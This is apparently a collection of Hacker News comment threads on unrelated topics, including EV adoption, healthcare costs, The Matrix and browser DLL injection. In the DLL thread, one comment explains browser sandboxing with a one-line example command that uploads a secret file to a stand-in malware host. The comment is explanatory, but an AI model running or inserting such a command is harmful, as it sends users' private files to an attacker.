Starting your comment with "Get wrecked" doesn't inspire confidence. Makes you sound, to me, like an edgy teenager.

I thought the same thing. Incredibly short term thinking at the corporate and government level to flip flop. Meanwhile Norway is now 97% EV sales and covered in chargers north to south. Not to mention China's fierce EV market domestically.

Norway is an exceptionally rich country due to oil with huge incentives towards EVs. Don’t extrapolate

Sure. But the numbers are certainly trending in a direction that US doesn't seem to want to go in. So, it is what it is, I suppose. Draw your own conclusions.


It also has the population on the order of Queens and Brooklyn put together. Singapore, the micro island city state, has a larger population.

Reminds me of this story: fan spotted a mole on a hockey team's staff's neck - https://www.forbes.com/sites/victoriaforster/2022/01/03/hock...


I handled a lot of biopsy tissue back then, and oddly enough had a sexual encounter several years later where I implored her to go get a mammogram afterwards due to something I felt. She didn’t take it seriously and I hounded her about it. She finally went in and within a month had a double mastectomy and started chemo.

Somehow a random person’s poop feels more awkward to discuss.


Amazing. Exactly the insightful comments that I hope to see on HN...perhaps not on the current subject but nonetheless

> On-Topic: Anything that good hackers would find interesting. That includes more than hacking and startups. If you had to reduce it to a sentence, the answer might be: anything that gratifies one's intellectual curiosity.


We got this squishy thing between our ears that blows their GPUs out the water. We'd all end up in data centers if they could harness it...well, our brains at least, the rest isn't useful.


the actual plot of the matrix was about using human brains in a neural net but they felt the battery angle would be easier for the mainstream to understand.

Humans are not really good or efficient batteries.


Oh that's a cool fact. I feel that plot direction would've been cooler from a SciFi perspective. Battery angle is fine, but a bit limited. A gaint hivemind type thing is pretty cool plot element.


The battery thing never made sense. There are easier ways to generate power. I thought it was one of the weakest bits of the movie plot.


That's not very useful. The market has seen volatility for unrelated reasons over the past month.

And effects of this, resist and unsubscribe, wouldn't be a factor so quickly. AFAIK this only launched less than a week or two ago.


It's too quick to reflect the fundamentals, but the market is priced on vibes. They move at the speed of rumor. But even with normal volatility, the boycott will have to be wildly effective to produce an unambiguous market signal.


Sorry, but as an outsider from one of those other countries you mention, I don't get what you mean by top notch? Top notch for whom? The people who can afford to pay out of pocket? Or those willing to do into debt to just get treatment? Whenever I see news from places like PBS News Hour, it's about some low wage or senior person struggling to just care for their medical needs or prescriptions.

I don't know my guy, your system isn't exactly top notch for most people - I don't think you need to look very hard to see that if you try.

Random examples:

There's something very very wrong here when your paying that much per capita and a lot of people are still struggling.


Or you know, like not use such an operating system, I guess?


There is still a lot of software that will not run well or at all on Linux making Windows unavoidable for some. Plus the fact that your work place might be a Windows only shop.


Inject dll's from the internet right into the browser. Yes, let's!


I'm not convinced that this is a good idea, but I don't think that's the reason; don't all your dlls come from the internet?


My comment was sarcasm.

The difference here is are you downloading a random dll from a well known source or from http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn...? My mom isn't going to know the difference and will click the big green DOWNLOAD NOW button blindly.


But that's not a difference, is it? Can't Windows enforce that DLLs have to be signed just like extensions?


Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com -F@/etc/secret-file")` will be possible. Another example is that it could also see all your saved passwords.

A javascript extension cannot do that. It is sandboxed and is bound to a permission system limiting what it can do on top of that.

Signing a DLL only proves that the author is who he says he is. Not that his intentions are good. Same for browser extensions.

So it's best to limit what the extension can do to begin with.


My heavily downvoted comment was also a sarcasm.

So here's the dilemma:

- People are afraid of plugins "in the wild". People need some kind of centralized, managed "extension store"

- People complains about store policy like Manifest V3

I don't think a single mechanism can please both crowds.

And what's worse? Google doesn't actually care about the security of the the "store". Scam extensions are everywhere. The "audit process" are minimal, customer/developer service are essentially none, and Google only enforce rules that affect their ads business.


> don't all your dlls come from the internet?

Either from the "wild" internet or manifest v3 intranet.

Or can we do better? For example, a community can maintain an opensource "network control" DLL that allow users to enable/disable tamperscript-like firewall rules from uBlock or such.


Use something like imail, thunderbird, etc? Those should all work offline for browsing cached content


The biggest issue with apple's Mail.app is they don't support vanity domains the way Fastmail does. You can add them individually but the Fastmail app lets you create one right from within the compose box - you just type whatever you want into the From: field.
